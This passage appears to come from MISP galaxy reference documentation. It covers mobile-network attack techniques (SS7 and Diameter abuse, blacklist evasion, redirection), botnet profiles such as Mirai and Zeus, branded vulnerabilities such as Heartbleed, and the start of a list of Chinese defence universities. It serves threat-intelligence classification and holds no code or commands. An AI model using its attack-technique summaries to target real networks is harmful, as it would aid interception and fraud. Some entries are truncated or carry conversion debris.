Once an attacker has gained a foothold in an operator, it can conduct privilege escalation and process injection for gaining administrative rights, password cracking of valid user accounts on the nodes, exploit vulnerabilities in databases and file systems, and take advantage of improper configurations of routers and switches.

The tag is: misp-galaxy:bhadra-framework="Exploit platform & service-specific vulnerabilities"

SS7-based-attacks

Attacks abusing the SS7 protocol.

The tag is: misp-galaxy:bhadra-framework="SS7-based-attacks"

Diameter-based attacks

Attacks abusing the Diameter protocol.

The tag is: misp-galaxy:bhadra-framework="Diameter-based attacks"

GTP-based attacks

Attacks abusing the GTP protocol.

The tag is: misp-galaxy:bhadra-framework="GTP-based attacks"
DNS-based attacks

DNS based attacks.

The tag is: `misp-galaxy:bhadra-framework="DNS-based attacks"`

Pre-AKA attacks

Attack techniques that take place during the unencrypted communication that occurs prior to the AKA protocol.

The tag is: `misp-galaxy:bhadra-framework="Pre-AKA attacks"`

Security audit camouflage

The operating systems, software, and services used on the network nodes are prone to security vulnerabilities and installation of unwanted malware. Although operators conduct routine security audits to track and patch the vulnerabilities or remove the malware from the infected nodes, their effectiveness is not known to the public. Any means by which an adversary can remain undetected from such audits are referred to as the security audit camouflage technique.

The tag is: `misp-galaxy:bhadra-framework="Security audit camouflage"`

Blacklist evasion

Mobile operators employ several defenses in terms of securing their network traffic. For instance, operators maintain a whitelist of IPs and GTs of nodes from their own infrastructure and their partner operators (as agreed in IR 21), and traffic from only these nodes are processed. Similarly, a blacklist is also maintained to control spam due to configuration errors and malicious traffic. Anything from the blacklist is banned from entering the operator’s network. Such defense mechanisms may defend against unsolicited traffic from external networks (e.g., from the public Internet and SAN), but it barely serves its purpose in the case of attacks from inter-operator communications. Since most of the communication protocols are unauthenticated in nature, an attacker with knowledge of identifiers of the allowed nodes (i.e. gained during the discovery phase) can impersonate their identity. We call it the blacklist evasion technique.

The tag is: `misp-galaxy:bhadra-framework="Blacklist evasion"`

Middlebox misconfiguration exploits

NAT middleboxes are used for separating private networks of mobile operators from public Internet works as the second line of defense. However, studies have shown that the middleboxes deployed by operators are prone to misconfigurations that allow adversaries to infiltrate malicious traffic into mobile networks e.g., by spoofing the IP headers. Some of the other NAT vulnerabilities lie in IPv4-to-IPv6 address mapping logic, which can be exploited by adversaries to exhaust the resources, wipe out the mapping, or to assist with blacklist evasion. Adversaries use such middlebox misconfiguration exploit techniques to launch denial-of-service or over-billing attacks.
Bypass Firewall

Adversaries (e.g., evil operators) can for example exploit the implicit trust between roaming partners as a bypass firewall technique.

The tag is: misp-galaxy:bhadra-framework="Bypass Firewall"

Bypass homerouting

SMS home routing is a defense mechanism, where an additional SMS router intervenes in external location queries for SMS deliveries, and the roaming network takes the responsibility of delivering the SMS without providing location information to the external entity. Although many operators have implemented SMS home routing solutions, there are no silver bullets. If the SMS routers are incorrectly configured, adversaries can hide SMS delivery location queries within other messages so that the SMS home router fails to process them. We refer to it as the bypass home routing technique.

The tag is: misp-galaxy:bhadra-framework="Bypass homerouting"

Downgrading

Attacks on the radio access networks are well-studied and newer generations are designed to address the weaknesses in previous generations. Usage of weak cryptographic primitives, lack of integrity protection of the radio channels, and one-sided authentication (only from the network) remain as the problem of mostly GSM only radio communication. So, radio link attackers use downgrading as an attack technique to block service over newer generations and accept to serve only in the GSM radio network. The downgrading technique works similarly in the core network, where the adversary accepts to serve only in SS7-based signaling instead of Diameter-based signaling. Using interworking functions for inter-generation communication translation could make the downgrading attacks much easier.

The tag is: misp-galaxy:bhadra-framework="Downgrading"

Redirection

Redirection technique is a variant of the downgrading technique, where an adversary forcefully routes the traffic through networks or components that are under its control. By redirecting traffic to an unsafe network, the adversary can intercept mobile communication (e.g., calls and SMS) on the RAN part. Redirection attacks on the core network result in not only communication interception, but also in billing discrepancies, as an adversary can route the calls of a mobile user from its home network through a foreign network on a higher call rate.

The tag is: misp-galaxy:bhadra-framework="Redirection"
UE Protection evasion

Protection on the UE is mainly available in the form of antivirus apps as a defense against viruses and malware that steals sensitive information (e.g., banking credentials and user passwords) or track user activities. Simple visual cues on UE (such as notifications) could also be a protection mechanism by itself. Unfortunately, mobile network-based attacks cannot be detected or defended effectively from UE's side by traditional antivirus apps, and such attacks do not trigger any visual signs. Although there are attempts for defending against radio link attacks, including citywide studies to detect IMSI catchers, their effectiveness is still under debate. Similarly, there are recent attempts to detect signaling attacks using distance bounding protocol run from a UE. However, such solutions are still in the research phase, and their effectiveness on a large scale is still untested. To this end, the absence of robust detection and defense mechanisms on the UE is, in fact, an evasion mechanism for an adversary. We refer to them as UE protection evasion techniques.

The tag is: *misp-galaxy:bhadra-framework="UE Protection evasion"*

Admin credentials

Stealing legitimate admin credentials for critical nodes is beneficial for the adversary to increase its chances of persistence to the target or masquerade its activities.

The tag is: *misp-galaxy:bhadra-framework="Admin credentials"*

User-specific identifiers

User-specific identifiers such as IMSI and IMEI are an indicator for who owns UE with a specific subscription and where a UE is located physically. Since mobile users always keep their mobile phones physically near them, an adversary with the knowledge of these permanent identifiers will be able to determine whether or not a user is in a specific location. On the other hand, temporary identifiers (e.g., TMSI and GUTI) are used to reduce the usage of permanent identifiers like IMSI over radio channels. Although the temporary identifiers are supposed to change frequently and expected to live for a short period, research has shown that it is not the case.

The tag is: *misp-galaxy:bhadra-framework="User-specific identifiers"*

User-specific data

Adversaries can collect several types of user-specific data, such as the content of SMS and calls, location dumps from base stations, call and billing records, and browsing-related data (such as DNS queries and unencrypted browsing sessions).

The tag is: *misp-galaxy:bhadra-framework="User-specific data"*

Network-specific identifiers

Adversaries aim to collect network-specific identifiers such as GTs and IPs of critical nodes and Tunnel Endpoint Identifier (TEID) of GTP tunnels from operators' networks.
Network-specific data

Adversaries may also be interested in network-specific data that are obtained mainly during the execution of discovery tactics. Such data includes, e.g., the network topology, the trust relationship between different nodes, routing metadata, and sensitive documents.

Location tracking

Attacker is able to track the location of the target end-user.

Calls eavesdropping

Attacker is able to eavesdrop on calls.

SMS interception

Attacker is able to intercept SMS messages.

Data interception

Attacker is able to intercept or modify internet traffic.

Billing frauds

Billing frauds refer to various types of attacks where an adversary causes financial discrepancies for operators.

DoS - network

The attacker can create signaling havoc in specific nodes of operators by repeatedly triggering resource allocation or revocation requests.
**DoS - user**

The attacker can cause denial of service to mobile users.

The tag is: misp-galaxy:bhadra-framework="DoS - user"

**Identity-related attacks**

Identity-based attacks involve attack techniques using user and network-specific identifiers. Identity-based attacks cause harm to the privacy of mobile users and produce fraudulent traffic that incurs a financial loss to operators. In most cases, identity-based attacks are used in impersonation, where an adversary impersonates a legitimate mobile user to the core network without possessing appropriate credentials, for example, to avail free mobile services. Most of the signaling attacks that use SS7 are also fall into this category. In other cases, identity-based attacks involve identity mapping, where the adversaries map temporary identifiers (e.g., TMSI and GUTI) to permanent identifiers (e.g., IMSI or MSISDN). In rare cases, the IMSI can further be mapped to social media identities.

The tag is: misp-galaxy:bhadra-framework="Identity-related attacks"

**Botnet**

Botnet galaxy.

Botnet is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Various

**ADB.miner**

A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.

Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360's Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which they named ADB.miner.

The tag is: misp-galaxy:botnet="ADB.miner"

*Table 495. Table References*
Bagle

Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.

The tag is: `misp-galaxy:botnet="Bagle"`

Bagle is also known as:

- Beagle
- Mitglieder
- Lodeight

Bagle has relationships with:

- similar: `misp-galaxy:malpedia="Bagle"` with `estimative-language:likelihood-probability="likely"`

Marina Botnet

Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.

The tag is: `misp-galaxy:botnet="Marina Botnet"`

Marina Botnet is also known as:

- Damon Briant
- BOB.dc
- Cotmonger
- Hacktool.Spammer
- Kraken

Marina Botnet has relationships with:

- similar: `misp-galaxy:botnet="Kraken"` with `estimative-language:likelihood-probability="likely"`
**Torpig**

Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.

The tag is: *misp-galaxy:botnet="Torpig"*

**Storm**

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

The tag is: *misp-galaxy:botnet="Storm"*

Sality

Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of...
an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.

The tag is: misp-galaxy:botnet="Sality"

Sality is also known as:

- Sector
- Kuku
- Sality
- SalLoad
- Kookoo
- SaliCode
- Kukacka

Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: `misp-galaxy:botnet="Gheg"`

Gheg is also known as:

- Tofsee
- Mondera

Spamthru

Spam Thru represented an exponential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj.Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine's processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.

The tag is: misp-galaxy:botnet="Spamthru"

Spamthru is also known as:
Gumblar

Gumblar is a malicious JavaScript trojan horse file that redirects a user’s Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.

The tag is: misp-galaxy:botnet="Gumblar"

BredoLab

The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.

The tag is: misp-galaxy:botnet="BredoLab"

BredoLab is also known as:

• Oficla

BredoLab has relationships with:

• similar: misp-galaxy:tool="Oficla" with estimative-language:likelihood-probability="likely"

Grum

The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world’s largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world’s 3rd largest botnet, responsible for 18% of worldwide spam traffic.
The tag is: *misp-galaxy:botnet*="Grum"

Grum is also known as:

**Zeus**

Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

The tag is: misp-galaxy:botnet="Zeus"

Zeus is also known as:

- Zbot

Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

The tag is: `misp-galaxy:botnet="Chameleon"`

Mirai

Mirai (Japanese for "the future", 未来) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

The tag is: `misp-galaxy:botnet="Mirai"`

Mirai has relationships with:

- similar: `misp-galaxy:tool="Mirai"` with estimative-language:likelihood-probability="likely"

</thead>
</table>

**Satori**

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: `misp-galaxy:botnet="Satori"`

Satori is also known as:

- Okiru

Satori has relationships with:

- similar: `misp-galaxy:tool="Satori"` with `estimative-language:likelihood-probability="likely"`

Hajime

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existence was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: `misp-galaxy:botnet="Hajime"

Hajime has relationships with:

- similar: `misp-galaxy:malpedia="Hajime"` with `estimative-language:likelihood-probability="likely"

Table 533. Table References

<table>
<thead>
<tr>

</tr>
</thead>
</table>

Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: `misp-galaxy:botnet="Muhstik"`
Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device's flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device's OS will automatically start the malware's process after the next reboot.

The tag is: `misp-galaxy:botnet="Hide and Seek"`

Hide and Seek is also known as:

- HNS
- Hide 'N Seek

Hide and Seek has relationships with:

- similar: `misp-galaxy:malpedia="Hide and Seek"` with `estimative-language:likelihood-probability="likely"`

Mettle

Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.

The tag is: `misp-galaxy:botnet="Mettle"`
Owari

IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called WICKED

The tag is: misp-galaxy:botnet="Owari"

Owari has relationships with:

- similar: misp-galaxy:malpedia="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Brain Food

Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.

The tag is: misp-galaxy:botnet="Brain Food"

Pontoeb

The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding

The tag is: misp-galaxy:botnet="Pontoeb"
Pontoeb is also known as:

- N0ise

Bamital is also known as:

• Mdrop-CSK
Gafgyt

Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall's Global Management System (GMS).

The tag is: misp-galaxy:botnet="Gafgyt"

Gafgyt is also known as:

• Bashlite

Gafgyt has relationships with:

• similar: misp-galaxy:tool="Gafgyt" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"

Sora

Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year. Initial versions were nothing out of the ordinary, and Sora's original author soon moved on to developing the Mirai Owari version, shortly after Sora's creation.

The tag is: misp-galaxy:botnet="Sora"

Sora is also known as:

• Mirai Sora

Sora has relationships with:
Torii

we have been observing a new malware strain, which we call Torii, that differs from Mirai and other botnets we know of, particularly in the advanced techniques it uses. The developers of the botnet seek wide coverage and for this purpose they created binaries for multiple CPU architectures, tailoring the malware for stealth and persistence.

The tag is: `misp-galaxy:botnet="Torii"`

Torii has relationships with:

- similar: `misp-galaxy:malpedia="Torii"` with estimative-language:likelihood-probability="likely"

Persirai

A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.

The tag is: `misp-galaxy:botnet="Persirai"`

Persirai has relationships with:

- similar: `misp-galaxy:malpedia="Persirai"` with estimative-language:likelihood-probability="likely"
Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we're calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: `misp-galaxy:botnet="Chalubo"`

AESDDoS

Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.

The tag is: `misp-galaxy:botnet="AESDDoS"`

Arceus

A set of DDoS botnet.

Branded Vulnerability

List of known vulnerabilities and attacks with a branding.

Branded Vulnerability is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
Unknown

Meltdown

Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.

The tag is: `misp-galaxy:branded-vulnerability="Meltdown"`

Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

The tag is: `misp-galaxy:branded-vulnerability="Spectre"`

Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug's name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.

The tag is: `misp-galaxy:branded-vulnerability="Heartbleed"`

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some
web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

The tag is: misp-galaxy:branded-vulnerability="Shellshock"

**Ghost**

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.

The tag is: misp-galaxy:branded-vulnerability="Ghost"

**Stagefright**

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn't have to do anything to 'accept' the bug, it happens in the background. The phone number is the only target information.

The tag is: misp-galaxy:branded-vulnerability="Stagefright"

**Badlock**

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: misp-galaxy:branded-vulnerability="Badlock"

**Dirty COW**

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel’s memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege
escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: \textit{misp-galaxy:branded-vulnerability="Dirty COW"}

**POODLE**

The POODLE attack (which stands for “Padding Oracle On Downgraded Legacy Encryptio”) is a man-in-the-middle exploit which takes advantage of Internet and security software clients’ fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated “September 2014”). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: \textit{misp-galaxy:branded-vulnerability="POODLE"}

**BadUSB**

The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: \textit{misp-galaxy:branded-vulnerability="BadUSB"}

**ImageTragick**

The tag is: \textit{misp-galaxy:branded-vulnerability="ImageTragick"}

**Blacknurse**

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: \textit{misp-galaxy:branded-vulnerability="Blacknurse"}

**SPOILER**

SPOILER is a security vulnerability on modern computer central processing units that uses speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.
The tag is: **misp-galaxy:branded-vulnerability="SPOILER"**

Academy of Military Science (中国人民解放军军事科学院)

AMS is responsible for leading and coordinating military science for the whole military. AMS is involved in not only the development of theory, strategy, and doctrine but also advancing national defense innovation. Pursuant to the PLA reforms, AMS has undergone dramatic changes starting in June 2017. At a July 2017 ceremony marking the AMS's reorganisation, Xi urged the AMS to construct a ‘world-class military scientific research institution.’ Through the National Defence Science and Technology Innovation Institute, the AMS is pursuing research in cutting-edge technologies including unmanned systems, artificial intelligence, biotechnology and quantum technology.

Aero Engine Corporation of China (中国航空发动机集有限公司)

AECC is a leading producer of aircraft parts for the People’s Liberation Army (PLA), having separated from its parent company the Aviation Industry Corporation of China (AVIC) in 2016. The company reports having 27 affiliated or subordinate companies, three major listed companies, and 84,000 staff. AVIC and the Commercial Aircraft Corporation of China (also known as COMAC) are major shareholders in AECC. AECC’s main products include aircraft engines, combustion gas turbines, and transmission systems. AECC also develops aircraft power units, helicopter drive systems, monocrystalline blades, turbine disks, and graphene. AECC was established in order to improve China’s capability in developing domestically built aircraft engines as part of the ‘Made in China 2025’ program. A priority is strengthening its supply chains within China. Though indigenously developed engines have proven challenging for AECC, the company had purported success in providing thrust vector control technology for the J-10B fighter jet.

Air Force Command College (中国人民解放军空军指挥学院)

The PLA Air Force Command College in Beijing is considered the PLA Air Force’s ‘peak institution for educating mid-rank and senior officers’ for command posts across the service. The college has a long history and was initially established in Nanjing during the early years of the People’s Republic in 1958. The Air Force Command College offers a range of degree programmes, mainly at the postgraduate level, including training in military disciplines such as military history, strategy, and tactics. It has published research on control science and radar. The college’s other specialties include battlefield command, military operations as well as political–ideological education.

The tag is: mist-galaxy:china-defence-universities="Air Force Command College (中国人民解放军空军指挥学院)"
The Air Force Communications Officers Academy is the PLA's premier institution for the training of non-commissioned officers in communications systems and security. Established in 1986 as the Dalian Communications NCO College, the institution was renamed after Xi Jinping's military reforms in 2017. The academy's areas of research include command automation and satellite communications, along with wired and wireless communications.

The Air Force Engineering University (AFEU) is one of the PLA's five comprehensive universities alongside NUDT, Naval Engineering University, PLA Information Engineering University and Army Engineering University. It trains students in a variety of engineering and military disciplines related to air combat. AFEU currently has around 8,000 students, including 1,600 postgraduate students. Its priority areas include technical studies in information and communication systems engineering as well as in social sciences such as in professional military training. Research into unmanned aerial vehicle technology is another important area of research at the university. In 2017, China’s Ministry of Education ranked AFEU equal fourth for armament science out of nine
universities, only awarding it a B- grade for the discipline. Colleges under AFEU include:

**Air Force Logistics University (中国人民解放军 空 后勤学院)**

The Air Force Logistics University is an institution devoted to the study of command, management and technology for the PLA, established in Shanxi by the Central Military Commission in 1954. The university focusses its research on ‘management engineering’ for military equipment such as weaponry and aircraft fuel and also maintains research programmes on air battle command and personnel management.

The tag is: misp-galaxy:china-defence-universities="Air Force Logistics University (中国人民解放军 空 后勤学院)"
Air Force Medical University (中国人民解放军空军军医大学)

The Air Force Medical University, also known as the Fourth Military Medical University, is the PLA's premier institution for research into medical and psychological sciences, having been placed under command of the Air Force after Xi Jinping's military reforms in 2017. Its major areas of study are medical and psychological sciences tailored for personnel engaging in air and space operations, military preventative medicine and various other forms of clinical research. The Air Force Medical University conducts significant amounts of psychological research. Scientists from the Air Force Medical University have written studies on suicide, mental health across China, and mental health in military universities. The university's scientists have also looked at the extent to which mindfulness training can reduce anxiety for undergraduates at military universities, and at how fear induced by virtual combat scenarios impacts decision-making. This indicates that the university is interested in issues of troop morale and decision-making in high-stress situations.

**Air Force Xi’an Flight Academy (中国人民解放空西安飞行学院)**

Created upon the merger of the PLA Air Force’s Second and Fifth Flight Academies in 2011, the Air Force Xi’an Flight Academy specialises in training airmen in aviation while passing on the PLA’s ‘revolutionary traditions’. It remains ‘one of the Air Force’s three advanced institutions in air combat, and is known to train the PLA Air Force’s JJ-7 fighter pilots. Given this focus on training, the institution engages in little scientific research.

Army Engineering University (中国人民解放工程大学)

The Army Engineering University was established in 2017 following the abolition of the PLA University of Science and Technology. The university is devoted to research on ‘engineering, technology and combat command systems’ for the PLA Land Force. The university’s areas of research include:

